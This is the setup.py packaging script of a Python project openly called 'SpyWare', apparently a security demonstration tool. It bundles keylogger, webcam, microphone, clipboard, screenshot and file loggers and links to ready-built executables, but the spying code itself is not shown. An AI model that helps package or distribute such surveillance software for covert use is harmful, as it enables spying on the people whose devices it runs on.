-
Notifications
You must be signed in to change notification settings - Fork 20
/
setup.py
125 lines (109 loc) · 4.86 KB
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from sys import maxsize, executable, version_info
from setuptools.command.install import install
from setuptools import setup, find_packages
from os import system as exec_command
from platform import system
packages = [
"pyautogui",
"opencv-python",
"pillow",
"pyperclip",
"pynput",
]
class PostInstallScript(install):
"""
This class install the PyAudio module.
"""
def is_64bit(self) -> bool:
"""
This function returns True if python is in x64 else returns False.
"""
return maxsize > 2 ** 32
def install_pyaudio(self):
"""
This function install the PyAudio module.
"""
if system() == "Windows":
v = f"{version_info.major}{version_info.minor}"
whl_file = (
f"PyAudio-0.2.11-cp{v}-cp{v}-win_amd64.whl"
if self.is_64bit()
else f"PyAudio-0.2.11-cp{v}-cp{v}-win32.whl"
)
exec_command(f'"{executable}" -m pip install "{whl_file}"')
else:
exec_command("sudo apt-get install portaudio19-dev python-pyaudio")
packages.append("pyaudio")
def run(self):
"""
Install the package.
"""
self.install_pyaudio()
install.run(self)
setup(
name="SpyWare",
version="1.0.5",
packages=find_packages(include=["SpyWare"]),
install_requires=packages,
author="Maurice Lambert",
author_email="[email protected]",
maintainer="Maurice Lambert",
maintainer_email="[email protected]",
description="This package implements a complete SpyWare.",
long_description=open("README.md").read(),
long_description_content_type="text/markdown",
include_package_data=True,
url="https://github.com/mauricelambert/SpyWare",
project_urls={
"Windows Executable (one file)": "https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.exe",
"Windows Executable": "https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.zip",
"Documentation": "https://mauricelambert.github.io/info/python/security/SpyWare/SpyWare.html",
"Documentation Clipboard": "https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.html",
"Documentation Screenshot": "https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.html",
"Documentation Domains": "https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.html",
"Documentation Recorder": "https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.html",
"Documentation Keylogger": "https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.html",
"Documentation Webcam": "https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.html",
"Documentation Files": "https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.html",
"Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare.pyz",
"Clipboard - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.pyz",
"Screenshot - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.pyz",
"Domains - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.pyz",
"Recorder - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.pyz",
"Keylogger - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.pyz",
"Webcam - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.pyz",
"Files - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.pyz",
},
classifiers=[
"Programming Language :: Python",
"Development Status :: 5 - Production/Stable",
"Topic :: Security",
"Environment :: Console",
"Natural Language :: English",
"Programming Language :: Python :: 3.9",
"Operating System :: POSIX :: Linux",
"Operating System :: Microsoft :: Windows",
"Operating System :: MacOS",
"Topic :: Security",
],
cmdclass={
"install": PostInstallScript,
},
entry_points={
"console_scripts": ["SpyWare = SpyWare:spyware"],
},
python_requires=">=3.6",
keywords=[
"KeyLogger",
"SpyWare",
"WebCam",
"ClibBoard",
"DNS Cache",
"Screen",
"Recorder",
"Files",
"Spy",
],
platforms=["Windows", "Linux", "MacOS"],
license="GPL-3.0 License",
)